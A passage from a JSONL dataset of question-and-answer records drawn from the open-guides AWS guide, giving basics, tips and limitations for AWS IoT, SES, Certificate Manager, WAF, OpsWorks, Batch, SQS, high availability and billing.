:arrow_up:](#table-of-contents)", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 36638, "answer_score": 10, "has_code": true, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.978425"}
{"id": "gh_3861fad81775", "question": "How to: IoT Alternatives and Lock-in", "question_body": "About open-guides/og-aws", "answer": "- \tAWS, Microsoft and Google have all introduced IoT-specific sets of cloud services since late 2015. AWS was first, moving their IoT services to [general availability](https://aws.amazon.com/blogs/aws/aws-iot-now-generally-available/) in Dec 2015. Microsoft released their set of IoT services for Azure in [Feb 2016](https://azure.microsoft.com/en-us/updates/generally-available-microsoft-azure-iot-hub/).  Google has only previewed, but not released their IoT services [Android Things](https://developer.android.com/things/index.html) and [Weave](https://developers.google.com/weave/).\n- \tIssues of lock-in center around your devices —  [protocols](http://www.postscapes.com/internet-of-things-protocols/) (for example MQTT, AMQP), message formats (such as, JSON vs. Hex...) and security (certificates).\n\n[Back to top :arrow_up:](#table-of-contents)", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.978432"}
{"id": "gh_ca39de2024b3", "question": "How to: IoT Gotchas and Limitations", "question_body": "About open-guides/og-aws", "answer": "- \t🔸**IoT protocols:** It is important to verify the exact type of support for your particular IoT device message protocol. For example, one commonly used IoT protocol is [MQTT](https://www.ibm.com/developerworks/community/blogs/5things/entry/5_things_to_know_about_mqtt_the_protocol_for_internet_of_things?lang=en). Within MQTT there are [three possible levels of QoS in MQTT](https://dzone.com/articles/internet-things-mqtt-quality).  AWS IoT supports MQTT [QoS 0](http://docs.aws.amazon.com/iot/latest/developerguide/protocols.html) (fire and forget, or at most once) and QoS 1(at least once, or includes confirmation), but *not* QoS 2 (exactly once, requires 4-step confirmation).  This is important in understanding how much code you’ll need to write for your particular application message resolution needs.  Here is a [presentation about the nuances of connecting](http://www.slideshare.net/AmazonWebServices/overview-of-iot-infrastructure-and-connectivity-at-aws-getting-started-with-aws-iot).\n- \t🔸The ecosystems to match **IAM users or roles** to **IoT policies** and their associated authorized AWS IoT devices are immature. Custom coding to enforce your security requirements is common.\n- \t❗A common mistake is to misunderstand the importance of IoT **device** **security**.  It is imperative to associate *each* device with a unique certificate (public key). You can generate your own certificates and upload them to AWS, or you can use AWS generated IoT device certificates. It’s best to read and understand AWS’s own guidance on this [topic](http://www.slideshare.net/AmazonWebServices/best-practices-of-iot-in-the-cloud).\n- \t🔸There is only one **AWS IoT Gateway** (endpoint) per AWS account. For production scenarios, you’ll probably need to set up multiple AWS accounts in order to separate device traffic for development, test and production. It’s interesting to note that the [Azure IoT Gateway](https://azure.microsoft.com/en-us/documentation/articles/iot-hub-protocol-gateway/) supports configuration of multiple endpoints, so that a single Azure account can be used with separate pub/sub endpoints for development, testing and production\n- \t🔸**Limits:** Be aware of [limits](http://docs.aws.amazon.com/iot/latest/developerguide/iot-limits.html), including device message size, type, frequency, and number of AWS IoT rules.\n\n[Back to top :arrow_up:](#table-of-contents)", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.978445"}
{"id": "gh_79dc33d94ff7", "question": "How to: IoT Code Samples", "question_body": "About open-guides/og-aws", "answer": "- \t[Simple Beer Service](https://github.com/awslabs/simplebeerservice) is a surprisingly useful code example using AWS IoT, Lambda, etc.\n- \t[IoT-elf](https://github.com/awslabs/aws-iot-elf) offers clean Python sample using the AWS IoT SDK.\n- \t[IoT Button projects](https://www.hackster.io/AmazonWebServices/products/aws-iot-button) on Hackster include many different code samples for projects.\n- \t[5 IoT code examples](https://github.com/awslabs/aws-iot-examples/): a device simulator, MQTT sample, just in time registration, truck simulator, prediction data simulator.\n- \t[AWS Alexa trivia voice example](https://developer.amazon.com/public/community/post/TxDJWS16KUPVKO/New-Alexa-Skills-Kit-Template:-Build-a-Trivia-Skill-in-under-an-Hour) is a quick-start using Alexa voice capability and Lambda.\n- \tSome Raspberry Pi examples include the [Beacon project](https://github.com/araobp/beacon/blob/master/README.md), [Danbo](https://libraries.io/github/awslabs/aws-iot-demo-for-danbo), and [GoPiGo](https://github.com/awslabs/aws-iotbot).\n\nSES\n---", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.978451"}
{"id": "gh_6bb362a51529", "question": "How to: SES Basics", "question_body": "About open-guides/og-aws", "answer": "-\t📒 [Homepage](https://aws.amazon.com/ses/) ∙ [Documentation](https://aws.amazon.com/documentation/ses/) ∙ [FAQ](https://aws.amazon.com/ses/faqs/) ∙ [Pricing](https://aws.amazon.com/ses/pricing/)\n-\t**SES** (or Simple Email Service) is a service that exposes SMTP endpoints for your application to directly integrate with.\n\n[Back to top :arrow_up:](#table-of-contents)", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.978456"}
{"id": "gh_eee2363a9937", "question": "How to: SES Gotchas and Limitations", "question_body": "About open-guides/og-aws", "answer": "-\t🔸**Internet Access:** SES SMTP endpoints are on the Internet and will not be accessible from a location without Internet access (e.g. a private subnet without NAT gateway route in the routing table). In such a case, set up an SMTP relay instance in a subnet with Internet access and configure your application to send emails to this SMTP relay instance rather than SES. The relay should have a [forwarding rule to send all emails to SES](http://docs.aws.amazon.com/ses/latest/DeveloperGuide/send-email-smtp-existing-server.html)). ❗If you are using a proxy instead of a NAT, confirm that your proxy service supports SMTP.\n\nCertificate Manager\n-------------------", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.978463"}
{"id": "gh_eb4b9bb1ba64", "question": "How to: Certificate Manager Basics", "question_body": "About open-guides/og-aws", "answer": "- 📒 [Homepage](https://aws.amazon.com/certificate-manager/) ∙ [User guide](http://docs.aws.amazon.com/acm/latest/userguide/acm-overview.html) ∙ [FAQ](https://aws.amazon.com/certificate-manager/faqs/) ∙ [Pricing](https://aws.amazon.com/certificate-manager/pricing/)\n- Use the **Certificate Manager** to manage SSL/TLS certificates in other AWS services.\n- Supports importing existing certificates as well as issuing new ones.\n- Provides Domain Validated (DV) certificates. [Validation](http://docs.aws.amazon.com/acm/latest/userguide/gs-acm-validate.html) can be done in two ways. The first (and recommended) way is [via DNS](https://docs.aws.amazon.com/acm/latest/userguide/gs-acm-validate-dns.html). If the zone lives within Route 53 and the user has access, the necessary record can be added in the console via a single click during the certificate request process. If the zone is not within Route 53 the user is required to update DNS manually. This is still preferred to the second way, which requires more user interaction, and is done by sending an email to 3 contact addresses in WHOIS and 5 common addresses for the domain, for each domain name present in the request.\n- ACM will attempt to automatically [renew](http://docs.aws.amazon.com/acm/latest/userguide/how-domain-validation-works.html) a certificate issued by Amazon. It will first attempt to connect to the domain on HTTPS and check that the certificate used by the domain is the same with the certificate that it intends to renew. Failing that, it will check the DNS record used previously for validation. Failing that, ACM will attempt manual validation by sending emails to all domains in the certificate.\n\n[Back to top :arrow_up:](#table-of-contents)", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.978472"}
{"id": "gh_c14a4f5768fe", "question": "How to: Certificate Manager Alternatives and Lock-in", "question_body": "About open-guides/og-aws", "answer": "- ⛓Certificates issued by the Certificate Manager can’t be used outside of the services that support it. Imported certificates, however, can still be used elsewhere.\n\n[Back to top :arrow_up:](#table-of-contents)", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.978477"}
{"id": "gh_84f678ef32de", "question": "How to: Certificate Manager Tips", "question_body": "About open-guides/og-aws", "answer": "- 🔹**Supported services:** Managed [Load Balancers](#load-balancers), [CloudFront](#cloudfront), [API Gateway](#api-gateway) and [Elastic Beanstalk](https://aws.amazon.com/elasticbeanstalk/).\n- 🔸During the domain validation process, if DNS validation is unsuccessful Certificate Manager will send an email to every contact address specified in the domain’s WHOIS record and up to five common administrative addresses. Some anti-spam filters can mark emails as spam because of this. You should check the spam folder of your email if you don’t receive a confirmation email.\n- 🔹 Setting up a certificate for a test domain you don't have email set up on? You can now use DNS validation instead.\n- 🔹Remember when requesting a wildcard domain that the request will not be valid for the level just below the wildcard, or any subdomains preceding the wildcard. Take for example an approved, issued certificate for `*.bar.example.com`. This would be valid for `foo.bar.example.com` but not `bar.example.com`. Likewise it would also not be valid for `www.bar.foo.example.com`. You would need to add each of these domains to the certificate request.\n\n[Back to top :arrow_up:](#table-of-contents)", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.978484"}
{"id": "gh_12a124b2e4f9", "question": "How to: Certificate Manager Gotchas and Limitations", "question_body": "About open-guides/og-aws", "answer": "- 🔸In order to use **Certificate Manager** for CloudFront distributions, the certificate must be issued or imported from us-east-1 (N. Virginia) region.\n- 🔸Certificates used with Elastic Load Balancers must be issued in the same region as the load balancer. Certificates can not be moved or copied between regions, as of July 2017. If a domain uses load balancers present in multiple regions, a different certificate must be requested for each region.\n- 🔸**IoT** has its [own way](http://docs.aws.amazon.com/iot/latest/developerguide/create-device-certificate.html) of setting up certificates.\n- 🔸By default the maximum number of domains per certificate is 10. You can get this limit increased to a maximum of 100 by contacting AWS support. **Note** for every different domain you have on the requested cert, you'll need to press accept on an email sent to that domain. For example if you request a cert with 42 different domains or sub domains, you'll need to press accept on 42 different links.\n\t- 🔹If you request a limit increase to AWS support for this, they will respond to you asking to confirm this. Bypass this by saying in the body of your initial request:\n```\"I acknowledge at the moment, there is no method to add or remove a name from a certificate. Instead, you must request a new certificate with the revised namelist and you must then re-approve all of the names in the certificate, even if they'd been previously approved.\"```\n- 🔸There is no way at the moment to add or remove a domain to/from an existing certificate. You must request a new certificate and re-approve it from each of the domains requested.\n\nWAF\n-------------------", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 36638, "answer_score": 10, "has_code": true, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.978492"}
{"id": "gh_0df87f6694a6", "question": "How to: WAF Basics", "question_body": "About open-guides/og-aws", "answer": "-\t📒 [Homepage](https://aws.amazon.com/waf/) ∙ [Documentation](https://aws.amazon.com/documentation/waf/) ∙ [FAQ](https://aws.amazon.com/waf/faq/) ∙ [Pricing](https://aws.amazon.com/waf/pricing)\n- WAF (Web Application Firewall) is used in conjunction with the CloudFront and ALB services to inspect and block/allow web requests based on user-configurable conditions.\n- HTTPS and HTTP requests are supported with this service.\n- WAF's strength is in detecting malicious activity based on pattern-matching inputs for attacks such as SQL injections, XSS, etc.\n- WAF supports inspection of requests [received through both IPv6 and IPv4](https://aws.amazon.com/about-aws/whats-new/2016/10/ipv6-support-for-cloudfront-waf-and-s3-transfer-acceleration/).\n\n[Back to top :arrow_up:](#table-of-contents)", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.978503"}
{"id": "gh_98c7456bbb6c", "question": "How to: WAF Gotchas and Limitations", "question_body": "About open-guides/og-aws", "answer": "- As of May 2019, AWS WAF is  available on Amazon CloudFront and in 12 commercial AWS regions: US East (N. Virginia), US East (Ohio), US West (Oregon), US West (N. California), EU (Ireland), EU (Frankfurt), EU (London), EU (Stockholm), Asia Pacific (Tokyo), Asia Pacific (Sydney), Asia Pacific (Singapore), and Asia Pacific (Seoul).\n\nOpsWorks\n-------------------", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.978511"}
{"id": "gh_01af897f6708", "question": "How to: OpsWorks Basics", "question_body": "About open-guides/og-aws", "answer": "-\t📒 [Homepage](https://aws.amazon.com/opsworks/) ∙ [Documentation](https://aws.amazon.com/documentation/opsworks/) ∙ [FAQ](https://aws.amazon.com/opsworks/faqs/) ∙ Pricing: [Stacks](https://aws.amazon.com/opsworks/stacks/pricing/), [Chef Automate](https://aws.amazon.com/opsworks/chefautomate/pricing/), [Puppet Enterprise](https://aws.amazon.com/opsworks/puppetenterprise/pricing/)\n- OpsWorks is a configuration management service that uses [Chef](https://www.chef.io/chef/) or [Puppet](https://www.puppet.com) configuration management. It is broken out into three different services:\n  - [OpsWorks Stacks](https://aws.amazon.com/opsworks/stacks/): The service lets you configure and launch stacks specific to your application's needs, and allows you to automate application deployments. Chef runs can be performed manually via the Execute Cookbooks command, otherwise they are only run as part of lifecycle events.\n    - OpsWorks Stacks differs from standard configuration management services in that it also allows you to perform some infrastructure and application automation (such as creating Amazon EC2 instances and deploying applications via Chef cookbooks).\n  - [OpsWorks for Chef Automate](https://aws.amazon.com/opsworks/chefautomate/): This service launches a dedicated Chef Automate server in your account, which can be used to associate nodes, upload cookbook code, and configure systems. Automated patching, backups, OS updates, and minor Chef version upgrades are provided as part of the service. An AWS API is provided for associating/disassociating nodes. Chef runs can be scheduled on nodes using the [chef-client cookbook](https://supermarket.chef.io/cookbooks/chef-client).\n  - [OpsWorks for Puppet Enterprise](https://aws.amazon.com/opsworks/puppetenterprise/): This service launches a dedicated Puppet Master in your account, which can be used to associate nodes, upload modules, and configure systems. Automated patching, backups, OS updates, and minor Puppet version upgrades are provided as part of the service. An AWS API is provided for associating/disassociating nodes. By default, the Puppet agent will run automatically every 30 minutes on associated nodes.\n- OpsWorks for Chef Automate and OpsWorks for Puppet Enterprise are strictly designed for configuration management, and do not provision infrastructure outside the Chef Server/Puppet Master that is created in our account.\n- All three OpsWorks services support managing both Amazon EC2 and on-premises infrastructure, however the implementation details differ slightly.\n  - OpsWorks Stacks allows you to register instances and install the OpsWorks Agent to connect to your stack.\n  - OpsWorks for Chef Automate and OpsWorks for Puppet Enterprise allow you to associate new or existing infrastructure using either the opsworks-cm:AssociateNode API action or the vendor-supported method for associating nodes to Chef Server or Puppet Enterprise.\n- Although OpsWorks will let you work with common Chef recipes or Puppet modules when creating your stacks, creating custom recipes will require familiarity with Chef or Puppet syntax. Chef/Puppet code is not supported as part of AWS Support.\n- As of December 2016, OpsWorks Stacks supports Chef versions [12, 11.10.4, 11.4.4 and 0.9.15.5](http://docs.aws.amazon.com/opsworks/latest/userguide/workingcookbook.html).\n- As of December 2016, OpsWorks for Chef Automate uses [Chef Server version 12.11.1](http://docs.aws.amazon.com/opsworks/latest/userguide/welcome_opscm.html) This is the current stable version of Chef.\n- [Berkshelf](http://docs.aws.amazon.com/opsworks/latest/userguide/workingcookbook-chef11-10.html#workingcookbook-chef11-10-berkshelf)can be used  with Chef stacks of version 11.10 and later for managing cookbooks and their respective dependencies. However, on Chef 12.x stacks, Berkshelf must be installed by the stack administrator.\n- Running your own Chef environment may be an alternative to consider - some considerations are listed [in this Bitlancer article.](http://www.bitlancer.com/blog/2015/10/05/opsworks-vs-chef.html)\n\n[Back to top :arrow_up:](#table-of-contents)", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 36638, "answer_score": 10, "has_code": true, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.978525"}
{"id": "gh_618ed11472e6", "question": "How to: OpsWorks Alternatives and Lock-in", "question_body": "About open-guides/og-aws", "answer": "- Major competitors in Configuration Management include:\n  - [Chef](https://chef.io)\n  - [Puppet](https://puppet.com)\n  - [Ansible](https://www.ansible.com).\n\n[Back to top :arrow_up:](#table-of-contents)", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.978530"}
{"id": "gh_47bc4e8964a2", "question": "How to: OpsWorks Tips", "question_body": "About open-guides/og-aws", "answer": "- OpsWorks Stacks and OpsWorks for Chef Automate use Chef cookbooks for configuration. Chef provides free training to learn syntax, best practices, etc. at [https://learn.chef.io](https://learn.chef.io).\n- OpsWorks for Puppet Enterprise uses Puppet manifests for configuration. Puppet provides a very useful learning VM for download at [https://learn.puppet.com/](https://learn.puppet.com/).\n\n[Back to top :arrow_up:](#table-of-contents)", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.978536"}
{"id": "gh_974805c87a0a", "question": "How to: OpsWorks Gotchas and Limitations", "question_body": "About open-guides/og-aws", "answer": "- OpsWorks Stacks is not available in the following regions:\n  - Montreal\n  - GovCloud\n  - Beijing\n- OpsWorks for Chef Automate and OpsWorks for Puppet Enterprise are not available in the following regions:\n  - Montreal\n  - Sao Paulo\n  - GovCloud\n  - London\n  - Paris\n  - Seoul\n  - Mumbai\n\nBatch\n-------------------", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.978542"}
{"id": "gh_2bb92e53b626", "question": "How to: Batch Basics", "question_body": "About open-guides/og-aws", "answer": "-\t📒 [Homepage](https://aws.amazon.com/batch/) ∙ [Documentation](https://aws.amazon.com/documentation/batch/) ∙ [FAQ](https://aws.amazon.com/batch/faqs/) ∙ [Pricing](https://aws.amazon.com/batch/pricing/)\n- **AWS Batch** is a service that offers an environment to run batch computing jobs. The service dynamically provisions the optimal compute resources needed by the jobs based on their resource requirements, and can scale up to hundreds of thousands of [jobs](http://docs.aws.amazon.com/batch/latest/userguide/jobs.html).\n- These batch workloads have access to all other AWS services and features.\n- AWS Batch, coupled with [spot instances](https://aws.amazon.com/blogs/compute/cost-effective-batch-processing-with-amazon-ec2-spot/) can help run the jobs when appropriate capacity is available, providing for optimal utilization of compute resources.\n- The batch workloads are built as a [Docker](https://www.docker.com/) Image. These images can then pushed to the [EC2 Container Registry](https://aws.amazon.com/ecr/) (ECR), or any private repository that can be accessed from AWS.\n- A [Job Definition](http://docs.aws.amazon.com/batch/latest/userguide/job_definitions.html) has the workload's Docker Image URI, and also lets the users specify the environment details like vCPUs, memory, volume mappings, environment variables, parameters, retry strategy, container properties, and the job's IAM role.\n- The [Compute Environments](http://docs.aws.amazon.com/batch/latest/userguide/compute_environments.html) are EC2 clusters that provide the runtime for the batch workloads to execute in.\n- AWS Batch provides managed, as well as unmanaged compute environments. The Managed Environments are provisioned and managed by AWS, while the Unmanaged Environments are managed by the customers.\n- The Job Definitions are submitted to [Job Queue(s)](http://docs.aws.amazon.com/batch/latest/userguide/job_queues.html) for execution. Each queue has a priority, and has at least one Compute Environment associated with it.\n- AWS Batch uses [ECS](https://aws.amazon.com/ecs/) to execute the containerized jobs.\n\n[Back to top :arrow_up:](#table-of-contents)", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.978552"}
{"id": "gh_5b66e32f1952", "question": "How to: Batch Tips", "question_body": "About open-guides/og-aws", "answer": "- AWS Batch supports prioritization of jobs via the Job Queue Priority. Higher the number - higher the priority.\n- AWS Batch supports launching the Compute Environment into specific VPC and subnets.\n- A Compute Environment is same as an [ECS Cluster](http://docs.aws.amazon.com/AmazonECS/latest/developerguide/ECS_clusters.html).\n- There is no additional cost for AWS Batch. You only pay the cost associated with the AWS Services being used - like EC2 Instances and any resources consumed by the batch jobs.\n- Associate [IAM Roles and policies](http://docs.aws.amazon.com/batch/latest/userguide/IAM_policies.html) with the Compute Environment to enable the containers access to other AWS resources.\n- 🔹 Use Unmanaged Compute Environments if you need specialized resources like Dedicated Hosts, or [EFS](https://aws.amazon.com/efs/).\n\nSQS\n-------------------", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.978559"}
{"id": "gh_175e807af697", "question": "How to: SQS Basics", "question_body": "About open-guides/og-aws", "answer": "- 📒  [_Homepage_](https://aws.amazon.com/sqs/) ∙ [_Documentation_](https://aws.amazon.com/documentation/sqs/) ∙ [_FAQ_](https://aws.amazon.com/sqs/faqs/) ∙ [_Pricing_ ](https://aws.amazon.com/sqs/pricing/)\n- SQS is a highly scalable, fully managed message queuing service from AWS.\n- SQS supports the pull model, where the producers *queue* the messages, and the consumers pull messages off the queue.\n- SQS provides a message visibility timeout, during which the message being processed will not be delivered to other consumers. If the consumer does not delete the message after processing, the message becomes available to other consumers upon reaching the message visibility timeout. This parameter is called VisibilityTimeout.\n- Each message can have up to 10 custom fields, or attributes.\n- SQS allows producers to set up to 15 minutes of delay before the messages are delivered to the consumers. This parameter is called DelaySeconds.\n- There are two types of queues supported by SQS -\n    - Standard Queues\n        - Guarantee **at least once** delivery of the messages.\n        - Do not retain the order of delivery of the messages.\n    - FIFO Queues\n        - Guarantee **only once** delivery of the messages\n        - Guarantee the order of the delivery of the messages\n- SQS supports fine grained access to various API calls and Queues via IAM policies.\n- The messages that fail to process can be put in a dead letter queue.\n\n[Back to top :arrow_up:](#table-of-contents)", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 36638, "answer_score": 10, "has_code": true, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.978568"}
{"id": "gh_e427cec75450", "question": "How to: SQS Alternatives and Lock-In", "question_body": "About open-guides/og-aws", "answer": "- Alternatives to SQS include [Kafka](https://kafka.apache.org/), [RabbitMQ](https://www.rabbitmq.com/), [ActiveMQ](http://activemq.apache.org/) and others.\n- Google Cloud Platform has Pub/Sub, and Azure has Azure Queue Service.\n- [SQS vs SNS](#sns-alternatives-and-lock-in)\n\n[Back to top :arrow_up:](#table-of-contents)", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.978573"}
{"id": "gh_87aff107993a", "question": "How to: High Availability Tips", "question_body": "About open-guides/og-aws", "answer": "-\tAWS offers two levels of redundancy, [regions and availability zones (AZs)](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-regions-availability-zones.html#concepts-regions-availability-zones).\n-\tWhen used correctly, regions and zones do allow for high availability. You may want to use non-AWS providers for larger business risk mitigation (i.e. not tying your company to one vendor), but reliability of AWS across regions is very high.\n-\t**Multiple regions:** Using multiple regions is complex, since it’s essentially like managing completely separate infrastructures. It is necessary for business-critical services with the highest levels of redundancy. However, for many applications (like your average consumer startup), deploying extensive redundancy across regions may be overkill.\n-\tThe [High Scalability Blog](http://highscalability.com/blog/2016/1/11/a-beginners-guide-to-scaling-to-11-million-users-on-amazons.html) has a good guide to help you understand when you need to scale an application to multiple regions.\n-\t🔹**Multiple AZs:** Using AZs wisely is the primary tool for high availability!\n\t-\tA typical single-region high availability architecture would be to deploy in two or more availability zones, with load balancing in front, as in [this AWS diagram](http://media.amazonwebservices.com/architecturecenter/AWS_ac_ra_ftha_04.pdf).\n\t-\tThe bulk of outages in AWS services affect one zone only. There have been rare outages affecting multiple zones simultaneously (for example, the [great EBS failure of 2011](http://aws.amazon.com/message/65648/)) but in general most customers’ outages are due to using only a single AZ for some infrastructure.\n\t-\tConsequently, design your architecture to minimize the impact of AZ outages, especially single-zone outages.\n\t-\tDeploy key infrastructure across at least two or three AZs. Replicating a single resource across more than three zones often won’t make sense if you have other backup mechanisms in place, like S3 snapshots.\n\t-\tA second or third AZ should significantly improve availability, but additional reliability of 4 or more AZs may not justify the costs or complexity (unless you have other reasons like capacity or Spot market prices).\n\t-\t💸Watch out for **cross-AZ traffic costs**. This can be an unpleasant surprise in architectures with large volume of traffic crossing AZ boundaries.\n\t-\tDeploy instances evenly across all available AZs, so that only a minimal fraction of your capacity is lost in case of an AZ outage.\n\t-\tIf your architecture has single points of failure, put all of them into a single AZ. This may seem counter-intuitive, but it minimizes the likelihood of any one SPOF to go down on an outage of a single AZ.\n-\t**EBS vs instance storage:** For a number of years, EBSs had a poorer track record for availability than instance storage. For systems where individual instances can be killed and restarted easily, instance storage with sufficient redundancy could give higher availability overall. EBS has improved, and modern instance types (since 2015) are now EBS-only, so this approach, while helpful at one time, may be increasingly archaic.\n-\tBe sure to [use and understand CLBs/ALBs](#load-balancers) appropriately. Many outages are due to not using load balancers, or misunderstanding or misconfiguring them.\n\n[Back to top :arrow_up:](#table-of-contents)", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.978615"}
{"id": "gh_62cc7bf417fa", "question": "How to: High Availability Gotchas and Limitations", "question_body": "About open-guides/og-aws", "answer": "-\t🔸**AZ naming** differs from one customer account to the next. Your “us-west-1a” is not the same as another customer’s “us-west-1a” — the letters are assigned to physical AZs randomly per account. This can also be a gotcha if you have multiple AWS accounts. Note that Zone IDs are consistent between accounts, and can be used to reliably align between AWS accounts.\n-\t🔸💸**Cross-AZ traffic** is not free. At large scale, the costs add up to a significant amount of money. If possible, optimize your traffic to stay within the same AZ as much as possible.\n\nBilling and Cost Management\n---------------------------", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.978621"}
{"id": "gh_7934b3439f09", "question": "How to: Billing and Cost Visibility", "question_body": "About open-guides/og-aws", "answer": "-\tAWS offers a [**free tier**](https://aws.amazon.com/free/) of service, that allows very limited usage of resources at no cost. For example, a micro instance and small amount of storage is available for no charge. Many services are only eligible for the free tier for the first twelve months that an account exists, but other services offer a free usage tier indefinitely. (If you have an old account but starting fresh, sign up for a new one to qualify for the free tier.) [AWS Activate](https://aws.amazon.com/activate/) extends this to tens of thousands of dollars of free credits to startups in [certain funds or accelerators](https://aws.amazon.com/activate/portfolio-detail/).\n-\tYou can set [**billing alerts**](http://docs.aws.amazon.com/awsaccountbilling/latest/aboutv2/free-tier-alarms.html) to be notified of unexpected costs, such as costs exceeding the free tier. You can set these in a [granular way](https://wblinks.com/notes/aws-tips-i-wish-id-known-before-i-started/#billing).\n-\tAWS offers [Cost Explorer](http://docs.aws.amazon.com/awsaccountbilling/latest/aboutv2/cost-explorer-what-is.html), a tool to get better visibility into costs.\n-\tUnfortunately, the AWS console and billing tools are rarely enough to give good visibility into costs. For large accounts, the AWS billing console can time out or be too slow to use.\n-\t**Tools:**\n\t-\t🔹Enable [billing reports](https://docs.aws.amazon.com/awsaccountbilling/latest/aboutv2/detailed-billing-reports.html) and install an open source tool to help manage or monitor AWS resource utilization. [**Teevity Ice**](https://github.com/Teevity/ice) (originally written by Netflix) is probably the first one you should try. Check out [docker-ice](https://github.com/jonbrouse/docker-ice) for a Dockerized version that eases installation.\n\t-\t🔸One challenge with Ice is that it doesn’t cover amortized cost of reserved instances.\n\t-\tOther tools include [Security Monkey](https://github.com/Netflix/security_monkey) and [Cloud Custodian](https://github.com/capitalone/cloud-custodian).\n\t-\tUse [AWS Simple Monthly Calculator](https://calculator.s3.amazonaws.com/index.html) to get an estimate of usage charges for AWS services based on certain information you provide. Monthly charges will be based on your actual usage of AWS services, and may vary from the estimates the Calculator has provided.\n-\t**Third-party services:** Several companies offer services designed to help you gain insights into expenses or lower your AWS bill, such as [Cloudability](https://www.cloudability.com/), [CloudHealth Technologies](https://www.cloudhealthtech.com/), and [ParkMyCloud](http://www.parkmycloud.com/). Some of these charge a percentage of your bill, which may be expensive. See the [market landscape](#tools-and-services-market-landscape).\n-\tAWS’s [Trusted Advisor](https://aws.amazon.com/premiumsupport/trustedadvisor/) is another service that can help with cost concerns.\n-\tDon’t be shy about asking your account manager for guidance in reducing your bill. It’s their job to keep you happily using AWS.\n-\t**Tagging for cost visibility:** As the infrastructure grows, a key part of managing costs is understanding where they lie. It’s strongly advisable to [tag resources](https://aws.amazon.com/blogs/aws/resource-groups-and-tagging/), and as complexity grows, group them effectively. If you [set up billing allocation 